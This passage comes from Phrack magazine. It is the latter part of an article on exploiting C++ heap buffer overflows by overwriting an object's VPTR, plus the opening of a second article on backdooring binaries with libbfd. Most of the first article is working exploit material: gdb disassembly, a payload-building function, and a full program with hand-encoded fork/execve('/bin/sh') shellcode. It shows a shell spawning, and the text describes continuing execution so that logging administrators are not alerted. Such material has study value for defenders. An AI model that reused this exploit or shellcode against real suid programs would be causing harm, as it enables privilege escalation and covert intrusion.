0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
0x8048620 <main+112>: pushl %edx
These instructions add to EDX the offset of the 1st object, and place the
resulting address (This pointer) on the stack.
0x8048621 <main+113>: movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4)
0x8048624 <main+116>: call *%edi // run the code at EDI
This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that
is the address of the PrintBuffer() method of the MyClass1 class. Then, this
method is executed. The same mechanism is used to execute the PrintBuffer()
method of the MyClass2 class. Finally, the function main() ends a little
farther, using a RET.
We have observed a "strange handling", to point to the beginning of the object
in memory, since we went to look for an offset word in VPTR+8 to add it to the
address of our 1st object. This manipulation doesn't serve has anything in
this precise case, because the value pointed by VPTR+8 was 0:
(gdb) x/a 0x8048948+8
0x8048950 <_vt.8MyClass1+8>: 0x0
However, this manipulation is necessary in several convenient cases. It is why
it is important to notice it. We will come back besides later on this
mechanism, because it will provoke some problems later.
----| Exploiting VPTR
We are now going to try to exploit in a simple manner the buffer overflow.
For it, we must proceed as this:
- To construct our own VTABLE, whose addresses will point to the code that we
want to run (a shellcode for example ;)
- To overflow the content of the VPTR so that it points to our own VTABLE.
One of the means to achieve it, is to code our VTABLE in the beginning of the
buffer that we will overflow. Then, we must set a VPTR value to point back to
the beginning of our buffer (our VTABLE). We can either place our shellcode
directly after our VTABLE in our buffer, either place it after the value of the
VPTR that we are going to overwrite.
However, if we place our shellcode after the VPTR, it is necessary to be
certain that we have access to this part of the memory, to not provoke
segmentation faults.
This consideration depends largely of the size of the buffer.
A buffer of large size will be able to contain without problem a VTABLE and a
shellcode, and then avoid all risks of segmentation faults.
Let's remind ourselves that our objects are each time followed by a 4 bytes
sequence (0x29, 0x49), and that we can without problems write our 00h (end of
string) to the byte behind our VPTR.
To check we are going to place our shellcode rightly before our VPTR.
We are going to adopt the following structure in our buffer:
+------(1)---<----------------+
| |
| ==+=
SSSS ..... SSSS .... B ... CVVVV0
==+= =+== |
| | |
+----(2)--+->-------------+
Where: V represents bytes of the address of the beginning of our buffer.
S represents bytes of the address of our shellcode, here the address of
C (address S=address V+offset VPTR in the buffer-1 in this case, because
we have placed our shellcode rightly before the VPTR).
B represents the possible bytes of any value alignment (NOPs:), to
align the value of our VPTR on the VPTR of the object.
C represents the byte of the shellcode, in this case, a simple CCh byte
(INT 3), that will provoke a SIGTRAP signal.
0 represents the 00h byte, that will be at the end of our buffer (for
strcpy() function).
The number of addresses to put in the beginning of our buffer (SSSS) depends
if we know or not the index in the VTABLE of the 1st method that will be
called after our overflow:
Either we knows this index, and then we writes the corresponding pointer.
Either we doesn't know this index, and we generate a maximum number of
pointers. Then, we hope the method that will be executed will use one of those
overwritten pointers. Notice that a class that contains 200 methods isn't very
usual ;)
The address to put in VVVV (our VPTR) depends principally of the execution of
the program.
It is necessary to note here that our objects were allocated on the heap, and
that it is difficult to know exactly their addresses.
We are going to write a small function that will construct us a buffer.
This function will receive 3 parameters:
- BufferAddress: the address of the beginning of the buffer that we will
overflow.
- NAddress: the number of addresses that we want in our VTABLE.
Here is the code of our BufferOverflow() function:
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;
Buffer=(char*)malloc(VPTROffset+4);
// allocates the buffer.
CCOffset=(unsigned long)VPTROffset-1;
// calculates the offset of the code to execute in the buffer.
for (i=0;i<VPTROffset;i++) Buffer[i]='x90';
// fills the buffer with 90h (NOP, old habit:)))
LongBuffer=(unsigned long*)Buffer;
// constructs a pointer to place addresses in our VTABLE.
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
// fills our VTABLE at the beginning of the buffer with the address of the
// shellcode.
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
// constructs a pointeur on VPTR.
*LongBuffer=BufferAddress;
// value that will overwrite VPTR.
Buffer[CCOffset]='xCC';
// our executable code.
Buffer[VPTROffset+4]='x00';
// finishes by a 00h char (end string).
return Buffer;
}
In our program we can now call our BufferOverflow() function, with as
parameters:
- the address of our buffer, here the address of our object (Object[0]).
- 4 values in our VTABLE, in this case (since PrintBuffer() is in VTABLE+8+4).
- 32 as offset for VPTR.
Here is the resulting code (bo3.cpp):
#include <stdio.h>
#include <string.h>
#include <malloc.h>
class BaseClass {
private:
char Buffer[32];
public:
void SetBuffer(char *String) {
strcpy(Buffer,String);
}
virtual void PrintBuffer() {
printf("%s
",Buffer);
}
};
class MyClass1:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;
Buffer=(char*)malloc(VPTROffset+4+1);
CCOffset=(unsigned long)VPTROffset-1;
for (i=0;i<VPTROffset;i++) Buffer[i]='x90';
LongBuffer=(unsigned long*)Buffer;
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
*LongBuffer=BufferAddress;
Buffer[CCOffset]='xCC';
Buffer[VPTROffset+4]='x00';
return Buffer;
}
void main() {
BaseClass *Object[2];
Object[0]=new MyClass1;
Object[1]=new MyClass2;
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32));
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
We compile, and we launch GDB:
rix@pentium:~/BO > gcc -o bo3 bo3.cpp
rix@pentium:~/BO > gdb bo3
...
(gdb) disass main
Dump of assembler code for function main:
0x8048670 <main>: pushl %ebp
0x8048671 <main+1>: movl %esp,%ebp
0x8048673 <main+3>: subl $0x8,%esp
0x8048676 <main+6>: pushl %edi
0x8048677 <main+7>: pushl %esi
0x8048678 <main+8>: pushl %ebx
0x8048679 <main+9>: pushl $0x24
0x804867b <main+11>: call 0x80488c0 <___builtin_new>
0x8048680 <main+16>: addl $0x4,%esp
0x8048683 <main+19>: movl %eax,%eax
0x8048685 <main+21>: pushl %eax
0x8048686 <main+22>: call 0x8048760 <__8MyClass1>
0x804868b <main+27>: addl $0x4,%esp
0x804868e <main+30>: movl %eax,%eax
0x8048690 <main+32>: movl %eax,0xfffffff8(%ebp)
0x8048693 <main+35>: pushl $0x24
0x8048695 <main+37>: call 0x80488c0 <___builtin_new>
0x804869a <main+42>: addl $0x4,%esp
0x804869d <main+45>: movl %eax,%eax
0x804869f <main+47>: pushl %eax
0x80486a0 <main+48>: call 0x8048730 <__8MyClass2>
0x80486a5 <main+53>: addl $0x4,%esp
0x80486a8 <main+56>: movl %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x80486aa <main+58>: movl %eax,0xfffffffc(%ebp)
0x80486ad <main+61>: pushl $0x20
0x80486af <main+63>: pushl $0x4
0x80486b1 <main+65>: movl 0xfffffff8(%ebp),%eax
0x80486b4 <main+68>: pushl %eax
0x80486b5 <main+69>: call 0x80485b0 <BufferOverflow__FUlii>
0x80486ba <main+74>: addl $0xc,%esp
0x80486bd <main+77>: movl %eax,%eax
0x80486bf <main+79>: pushl %eax
0x80486c0 <main+80>: movl 0xfffffff8(%ebp),%eax
0x80486c3 <main+83>: pushl %eax
0x80486c4 <main+84>: call 0x8048790 <SetBuffer__9BaseClassPc>
0x80486c9 <main+89>: addl $0x8,%esp
0x80486cc <main+92>: pushl $0x80489f6
0x80486d1 <main+97>: movl 0xfffffffc(%ebp),%eax
0x80486d4 <main+100>: pushl %eax
0x80486d5 <main+101>: call 0x8048790 <SetBuffer__9BaseClassPc>
0x80486da <main+106>: addl $0x8,%esp
0x80486dd <main+109>: movl 0xfffffff8(%ebp),%eax
0x80486e0 <main+112>: movl 0x20(%eax),%ebx
0x80486e3 <main+115>: addl $0x8,%ebx
0x80486e6 <main+118>: movswl (%ebx),%eax
0x80486e9 <main+121>: movl %eax,%edx
0x80486eb <main+123>: addl 0xfffffff8(%ebp),%edx
---Type <return> to continue, or q <return> to quit---
0x80486ee <main+126>: pushl %edx
0x80486ef <main+127>: movl 0x4(%ebx),%edi
0x80486f2 <main+130>: call *%edi
0x80486f4 <main+132>: addl $0x4,%esp
0x80486f7 <main+135>: movl 0xfffffffc(%ebp),%eax
0x80486fa <main+138>: movl 0x20(%eax),%esi
0x80486fd <main+141>: addl $0x8,%esi
0x8048700 <main+144>: movswl (%esi),%eax
0x8048703 <main+147>: movl %eax,%edx
0x8048705 <main+149>: addl 0xfffffffc(%ebp),%edx
0x8048708 <main+152>: pushl %edx
0x8048709 <main+153>: movl 0x4(%esi),%edi
0x804870c <main+156>: call *%edi
0x804870e <main+158>: addl $0x4,%esp
0x8048711 <main+161>: xorl %eax,%eax
0x8048713 <main+163>: jmp 0x8048720 <main+176>
0x8048715 <main+165>: leal 0x0(%esi,1),%esi
0x8048719 <main+169>: leal 0x0(%edi,1),%edi
0x8048720 <main+176>: leal 0xffffffec(%ebp),%esp
0x8048723 <main+179>: popl %ebx
0x8048724 <main+180>: popl %esi
0x8048725 <main+181>: popl %edi
0x8048726 <main+182>: movl %ebp,%esp
0x8048728 <main+184>: popl %ebp
---Type <return> to continue, or q <return> to quit---
0x8048729 <main+185>: ret
0x804872a <main+186>: leal 0x0(%esi),%esi
End of assembler dump.
Next, we install a breakpoint in 0x8048690, to get the address of our 1st
object.
(gdb) break *0x8048690
Breakpoint 1 at 0x8048690
And finally, we launch our program:
(gdb) run
Starting program: /home/rix/BO/bo3
Breakpoint 1, 0x8048690 in main ()
We read the address of our 1st object:
(gdb) info reg eax
eax: 0x8049b38 134519608
Then we pursue, while hoping that all happens as foreseen... :)
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8049b58 in ?? ()
We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58
address. However, the address of our object was 0x8049b38.
0x8049b58-1-0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our
buffer. Therefore, it is well our CCh that has been executed!!!
You understood it, we can now replace our simple CCh code, by a small
shellcode, to get some more interesting results, especially if our program
bo3 is suid... ;)
Some variations about the method
================================
We have explain here the simplest exploitable mechanism.
Other more complex cases could possibly appear...
For example, we could have associations between classes like this:
class MyClass3 {
private:
char Buffer3[32];
MyClass1 *PtrObjectClass;
public:
virtual void Function1() {
...
PtrObjectClass1->PrintBuffer();
...
}
};
In this case, we have a relation between 2 classes called "link by reference".
Our MyClass3 class contains a pointer to another class. If we overflow the
buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We
only need to browse a supplementary pointer ;)
+----------------------------------------------------+
| |
+-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR |
=+==
MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX
==+=
|
+---------------------<---------------------------+
|
+--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
==+=
|
+-------------------------------------------------------+
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ
Where: B represents bytes of the Buffer of MyClass4.
C represents bytes of the Buffer of MyClass1.
P represents bytes of a pointer to a MyClass1 object class.
X represents bytes of the possible VPTR of the MyClass4 object class.
(it is not necessary to have a VPTR in the class containing the
pointer).
Y represent bytes of the VPTR of the MyClass1 object class.
This technique doesn't depend here on the structure of the internal class to
the compiler (offset of VPTR), but depend of the structure of the class
defined by the programmer, and dus it can even be exploited in programs coming
from compilers placing the VPTR at the beginning of the object in memory (for
example Visual C++).
Besides, in this case, the MyClass3 object class possibly have been created
on the stack (local object), what makes that localization is a lot easier,
being given that the address of the object will probably be fixed. However, in
this case, it will be necessary that our stack be executable, and not our heap
as previously.
We know how to find the values for 2 of the 3 parameters of our
BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR)
Indeed these 2 parameters can be easily founded in debugging the code of the
program, and besides, their value is fixed from on execution to another.
On the other hand, the 1st parameter (address of the object in memory), is
more difficult to establish. In fact, we need this address only because we
want to place the VTABLE that we created into the buffer.
----| A particular example
Let's suppose that we have a class whose last variable is an exploitable
buffer. This means that if we fill this buffer (for example of size N bytes),
with N + 4 bytes, we know that we don't have modify anything else in the space
memory of the process that the content of our buffer, the VPTR, and the
byte following our VPTR (because character 00h).
Perhaps could we take advantage of this situation. But how? We are going to
use the buffer, to launch a shellcode, and next to follow the execution of the
program! The advantage will be enormous, since the program would not be
finished brutally, and dus will not alert someone eventually controlling or
logging its execution (administrators...).
Is it possible?
It would be necessary to first execute our shellcode, to rewrite a chain in
our buffer, and to restore the stack in the initial state (just before the
call of our method). Then, it would only remain us to recall the initial
method, so that the program normally continues.
Here are several remarks and problems that we are going to meet:
- it is necessary to completely rewrite our buffer (so that the continuation
of the execution uses appropriate values), and therefore to overwrite our own
shellcode.
To avoid it, we are going to copy a part of our shellcode (the smallest part
as possible ) to another place in memory.
In this case we are going to copy a part of our shellcode to the stack (we
will call this part of code "stackcode"). It should not pose any particularly
problems if our stack is executable.
- We had mentioned before a "strange handling", that consisted to add an
offset to the address of our object, and to place this result on the stack,
what provided the This pointer to the executed method.
The problem is, that here, the offset that is going to be added to the
address of our object is going to be took in our VTABLE, and that this offset
cannot be 0 (because we cannot have 00h bytes in our buffer).
We are going to choose an arbitrary value for this offset, that we will place
in our VTABLE, and correct the This value on the stack later, with a
corresponding subtraction.
- we are going to make a fork () on our process, to launch the execution of
the shell (exec ()), and to wait for its termination (wait ()), to continue
our execution of the main program.
- the address where we will continue our execution is constant, because it is
the address of the original method (presents in the VTABLE of our object's
relative class).
- we know that we can use our EAX register, because this one would be
overwritten in any case by our method's return value.
- we cannot include any 00h byte in our buffer. We then should regenerate
these bytes (necessary for our strings) at run time.
While applying all these important points, we are going to try to construct a
buffer according to the following diagram:
+------------------------------------<-(1)---------------------------------+
| our VTABLE |
=+=================== ==+=
9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL
==+= ==+= | | | ========
| | | | | \n | +-->--+ | | (a copy on the stack)
| | | ========
+---(2)-->--------+ | BBB... B
| | |
+-(3)->+ +--> old method
Where: 9 represent NOP bytes (90h).
T represents bytes forming the word of the offset who will be added to
the pointer on the stack (strange handling ;).
M represents the address in our buffer of the beginning of our
shellcode.
S represents the address in our buffer of the "/bin/sh" string.
0 represented 90h bytes, who will be initialized to 00h at run time
(necessary for exec ()).
/bin/sh represents the "/bin/sh" string, without any 00h termination
byte.
A represents a byte of our shellcode (principally to run the shell, then
to copy the stackcode on the stack and to run it).
B represents a byte of our stackcode (principally to reset our buffer
with a new string, and to run the original method to continue the
execution of the original program.
newstring represents the "newstring" string, that will be recopied in
the buffer after execution of the shell, to continue the execution.
V represents a byte of the VPTR, that must point back to the beginning
of our buffer (to our VTABLE).
L represents the byte that will be copy after the VPTR, and that will
be a 0hh byte.
In a more detailed manner, here are the content of our shellcode and
stackcode:
pushl %ebp //save existing EBP
movl %esp,%ebp //stack frame creation
xorl %eax,%eax //EAX=0
movb $0x31,%al //EAX=$StackCodeSize (size of the code
// who will be copied to the stack)
subl %eax,%esp //creation of a local variable to
// contain our stackcode
pushl %edi
pushl %esi
pushl %edx
pushl %ecx
pushl %ebx //save registers
pushf //save flags
cld //direction flag=incrementation
xorl %eax,%eax //EAX=0
movw $0x101,%ax //EAX=$AddThis (value added for
// calculating This on the stack)
subl %eax,0x8(%ebp) //we substract this value from the
// current This value on the stack, to
// restore the original This.
xorl %eax,%eax //EAX=0
movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset
// (address of NULL dword in our
// buffer)
stosl %eax,%es:(%edi) //we write this NULL in the buffer
movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset
// (address of 00h from "/bin/sh")
stosb %al,%es:(%edi) //we write this 00h at the end of
// "/bin/sh"
movb $0x2,%al
int $0x80 //fork()
xorl %edx,%edx //EDX=0
cmpl %edx,%eax
jne 0x804a8c1 //if EAX=0 then jump to LFATHER
// (EAX=0 if father process)
movb $0xb,%al //else we are the child process
movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset
// (address of "/bin/sh")
movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset
// (adresse of address of "/bin/sh")
xorl %edx,%edx //EDX=0h (NULL)
int $0x80 //exec() "/bin/sh"
LFATHER:
movl %edx,%esi //ESI=0
movl %edx,%ecx //ECX=0
movl %edx,%ebx //EBX=0
notl %ebx //EBX=0xFFFFFFFF
movl %edx,%eax //EAX=0
movb $0x72,%al //EAX=0x72
int $0x80 //wait() (wait an exit from the shell)
xorl %ecx,%ecx //ECX=0
movb $0x31,%cl //ECX=$StackCodeSize
movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset
// (address of beginning of the
// stackcode)
movl %ebp,%edi //EDI point to the end of or local
// variable
subl %ecx,%edi //EDI point to the beginning of or
// local variable
movl %edi,%edx //EDX also point to the beginning of
// or local variable
repz movsb %ds:(%esi),%es:(%edi) //copy our stackcode into our local
// variable on the stack
jmp *%edx //run our stackcode on the stack
stackcode:
movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset
// (point to the new string we want to
// rewrite in the buffer)
movl $0x804a860,%edi //EDI=$BufferAddress (point to the
// beginning of our buffer)
xorl %ecx,%ecx //ECX=0
movb $0x9,%cl //ECX=$NewBufferSize (length of the
// new string)
repz movsb %ds:(%esi),%es:(%edi) //copy the new string at the
// beginning of our buffer
xorb %al,%al //AL=0
stosb %al,%es:(%edi) //put a 00h at the end of the string
movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset
// (address of VPTR)
movl $0x8049730,%eax //EAX=$VTABLEAddress (adresse of the
// original VTABLE from our class)
movl %eax,%ebx //EBX=$VTABLEAddress
stosl %eax,%es:(%edi) //correct the VPTR to point to the
// original VTABLE
movb $0x29,%al //AL=$LastByte (byte following the
// VPTR in memory)
stosb %al,%es:(%edi) //we correct this byte
movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4
// (EAX take the address of the
// original method in the original
// VTABLE).
popf
popl %ebx
popl %ecx
popl %edx
popl %esi
popl %edi //restore flags and registers
movl %ebp,%esp
popl %ebp //destroy the stack frame
jmp *%eax //run the original method
We now must code a BufferOverflow() function that is going to "compile" us the
shellcode and the stackcode, and to create the structure of our buffer.
Here are parameters that we should pass to this function:
- BufferAddress = address of our buffer in memory.
- IAddress = index in the VTABLE of the 1st method that will be executed.
- VPTROffset = offset in our buffer of the VPTR to overwrite.
- AddThis = value that will be added to the This pointer on the stack, because
of the "strange handling".
- VTABLEAddress = address of the original VTABLE of our class (coded in the
executable).
- *NewBuffer = a pointer to the new chain that we want to place in our buffer
to normally continue the program.
- LastByte = the original byte following the VPTR in memory, that is
overwritten at the time of the copy of our buffer in the original buffer,
because of the 00h.
Here is the resulting code of the program (bo4.cpp):
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#define BUFFERSIZE 256
class BaseClass {
private:
char Buffer[BUFFERSIZE];
public:
void SetBuffer(char *String) {
strcpy(Buffer,String);
}
virtual void PrintBuffer() {
printf("%s
",Buffer);
}
};
class MyClass1:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) {
char *CBuf;
unsigned long *LBuf;
unsigned short *SBuf;
char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize;
unsigned long i,
MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset,
ShellCodeOffset,StackCodeOffset,
NewBufferOffset,NewBuffer00Offset,
LastByteOffset;
char *BinSh="/bin/sh";
CBuf=(char*)malloc(VPTROffset+4+1);
LBuf=(unsigned long*)CBuf;
BinShSize=(char)strlen(BinSh);
ShellCodeSize=0x62;
StackCodeSize=0x91+2-0x62;
NewBufferSize=(char)strlen(NewBuffer);
MethodAddressOffset=IAddress*4;
BinShAddressOffset=MethodAddressOffset+4;
NullOffset=MethodAddressOffset+8;
BinShOffset=MethodAddressOffset+12;
BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
ShellCodeOffset=BinSh00Offset+1;
StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize;
NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize;
NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize;
LastByteOffset=VPTROffset+4;
for (i=0;i<VPTROffset;i++) CBuf[i]='x90'; //NOPs
SBuf=(unsigned short*)&LBuf[2];
*SBuf=AddThis; //added to the This pointer on the stack
LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
*LBuf=BufferAddress+ShellCodeOffset; //shellcode's address
LBuf=(unsigned long*)&CBuf[BinShAddressOffset];
*LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"
memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string
//shellcode:
i=ShellCodeOffset;
CBuf[i++]='x55'; //pushl %ebp
CBuf[i++]='x89';CBuf[i++]='xE5'; //movl %esp,%ebp
CBuf[i++]='x31';CBuf[i++]='xC0'; //xorl %eax,%eax
CBuf[i++]='xB0';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%al
CBuf[i++]='x29';CBuf[i++]='xC4'; //subl %eax,%esp
CBuf[i++]='x57'; //pushl %edi
CBuf[i++]='x56'; //pushl %esi
CBuf[i++]='x52'; //pushl %edx
CBuf[i++]='x51'; //pushl %ecx
CBuf[i++]='x53'; //pushl %ebx
CBuf[i++]='x9C'; //pushf
CBuf[i++]='xFC'; //cld
CBuf[i++]='x31';CBuf[i++]='xC0'; //xorl %eax,%eax
CBuf[i++]='x66';CBuf[i++]='xB8'; //movw $AddThis,%ax
SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2;
CBuf[i++]='x29';CBuf[i++]='x45';CBuf[i++]='x08'; //subl %eax,0x8(%ebp)
CBuf[i++]='x31';CBuf[i++]='xC0'; //xorl %eax,%eax
CBuf[i++]='xBF'; //movl $BufferAddress+$NullOffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;
CBuf[i++]='xAB'; //stosl %eax,%es:(%edi)
CBuf[i++]='xBF'; //movl $BufferAddress+$BinSh00Offset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;
CBuf[i++]='xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='xB0';CBuf[i++]='x02'; //movb $0x2,%al
CBuf[i++]='xCD';CBuf[i++]='x80'; //int $0x80 (fork())
CBuf[i++]='x31';CBuf[i++]='xD2'; //xorl %edx,%edx
CBuf[i++]='x39';CBuf[i++]='xD0'; //cmpl %edx,%eax
CBuf[i++]='x75';CBuf[i++]='x10'; //jnz +$0x10 (-> LFATHER)
CBuf[i++]='xB0';CBuf[i++]='x0B'; //movb $0xB,%al
CBuf[i++]='xBB'; //movl $BufferAddress+$BinShOffset,%ebx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4;
CBuf[i++]='xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4;
CBuf[i++]='x31';CBuf[i++]='xD2'; //xorl %edx,%edx
CBuf[i++]='xCD';CBuf[i++]='x80'; //int $0x80 (execve())
//LFATHER:
CBuf[i++]='x89';CBuf[i++]='xD6'; //movl %edx,%esi
CBuf[i++]='x89';CBuf[i++]='xD1'; //movl %edx,%ecx
CBuf[i++]='x89';CBuf[i++]='xD3'; //movl %edx,%ebx
CBuf[i++]='xF7';CBuf[i++]='xD3'; //notl %ebx
CBuf[i++]='x89';CBuf[i++]='xD0'; //movl %edx,%eax
CBuf[i++]='xB0';CBuf[i++]='x72'; //movb $0x72,%al
CBuf[i++]='xCD';CBuf[i++]='x80'; //int $0x80 (wait())
CBuf[i++]='x31';CBuf[i++]='xC9'; //xorl %ecx,%ecx
CBuf[i++]='xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl
CBuf[i++]='xBE'; //movl $BufferAddress+$StackCodeOffset,%esi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4;
CBuf[i++]='x89';CBuf[i++]='xEF'; //movl %ebp,%edi
CBuf[i++]='x29';CBuf[i++]='xCF'; //subl %ecx,%edi
CBuf[i++]='x89';CBuf[i++]='xFA'; //movl %edi,%edx
CBuf[i++]='xF3';CBuf[i++]='xA4'; //repz movsb %ds:(%esi),%es:(%edi)
CBuf[i++]='xFF';CBuf[i++]='xE2'; //jmp *%edx (stackcode)
//stackcode:
CBuf[i++]='xBE'; //movl $BufferAddress+$NewBufferOffset,%esi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4;
CBuf[i++]='xBF'; //movl $BufferAddress,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4;
CBuf[i++]='x31';CBuf[i++]='xC9'; //xorl %ecx,%ecx
CBuf[i++]='xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl
CBuf[i++]='xF3';CBuf[i++]='xA4'; //repz movsb %ds:(%esi),%es:(%edi)
CBuf[i++]='x30';CBuf[i++]='xC0'; //xorb %al,%al
CBuf[i++]='xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='xBF'; //movl $BufferAddress+$VPTROffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4;
CBuf[i++]='xB8'; //movl $VTABLEAddress,%eax
LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4;
CBuf[i++]='x89';CBuf[i++]='xC3'; //movl %eax,%ebx
CBuf[i++]='xAB'; //stosl %eax,%es:(%edi)
CBuf[i++]='xB0';CBuf[i++]=LastByte; //movb $LastByte,%al
CBuf[i++]='xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='x8B';CBuf[i++]='x43';
CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax
CBuf[i++]='x9D'; //popf
CBuf[i++]='x5B'; //popl %ebx
CBuf[i++]='x59'; //popl %ecx
CBuf[i++]='x5A'; //popl %edx
CBuf[i++]='x5E'; //popl %esi
CBuf[i++]='x5F'; //popl %edi
CBuf[i++]='x89';CBuf[i++]='xEC'; //movl %ebp,%esp
CBuf[i++]='x5D'; //popl %ebp
CBuf[i++]='xFF';CBuf[i++]='xE0'; //jmp *%eax
memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize);
//insert the new string into the buffer
LBuf=(unsigned long*)&CBuf[VPTROffset];
*LBuf=BufferAddress; //address of our VTABLE
CBuf[LastByteOffset]=0; //last byte (for strcpy())
return CBuf;
}
void main() {
BaseClass *Object[2];
unsigned long *VTABLEAddress;
Object[0]=new MyClass1;
Object[1]=new MyClass2;
printf("Object[0] address = %X
",(unsigned long)&(*Object[0]));
VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256);
printf("VTable address = %X
",*VTABLEAddress);
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE,
0x0101,*VTABLEAddress,"newstring",0x29));
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
Now, we are ready to compile and to check...
rix@pentium:~/BO > gcc -o bo4 bo4.cpp
rix@pentium:~/BO > bo4
adresse Object[0] = 804A860
adresse VTable = 8049730
sh-2.02$ exit
exit
MyClass1: newstring
MyClass2: string2
rix@pentium:~/BO >
And as foreseen, our shell executes himself, then the program continue its
execution, with a new string in the buffer ("newstring ")!!!
Conclusion
==========
To summarize, let's note that the basis technique requires the following
conditions for success:
- a buffer of a certain minimal size
- suid program
- executable heap and/or executable stack (according to techniques)
- to know the address of the beginning of the buffer (on the heap or on the
stack)
- to know the offset from the beginning of the buffer of the VPTR (fixed for
all executions)
- to know the offset in the VTABLE of the pointer to the 1st method executed
after the overflow (fixed for all executions)
- to know the address of the VTABLE if we want to continue the execution of
the program correctly.
I hope this article will have once again show you how pointers (more and more
used in modern programming ) can be very dangerous in some particular cases.
We notice that some languages as powerful as C++, always include some
weakness, and that this is not with a particular language or tools that a
program becomes secured, but mainly because of the knowledge and expertise
of its conceivers...
Thanks to: route, klog, mayhem, nite, darkbug.
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x09[0x10]
|------------------------- BACKDOORING BINARY OBJECTS ------------------------|
|-----------------------------------------------------------------------------|
|-------------------------- klog <klog@promisc.org> --------------------------|
----| Introduction
Weakening a system in order to keep control over it (or simply to alter
some of its functionality) has been detailed in many other papers. From
userland code modification to trojan kernel code, most of the common
backdooring techniques are either too dirty, or just not portable enough.
How can we create a standard and clean way to backdoor binary files? The
right answer to this question is just the same as for "How can we create a
standard and clean way to debug and analyze binary files?". The GNU Project
found the answer even before we could ask the question.
ipdev:~$ ldd /usr/bin/nm
libbfd.so.2.6.0.14 => /usr/lib/libbfd.so.2.6.0.14
libc.so.5 => /lib/libc.so.5.3.12
ipdev:~$
----| The BFD.
The Binary File Descriptor. Becoming the de facto standard in binary file
analysis, manipulation and linking, libbfd will support about any file format
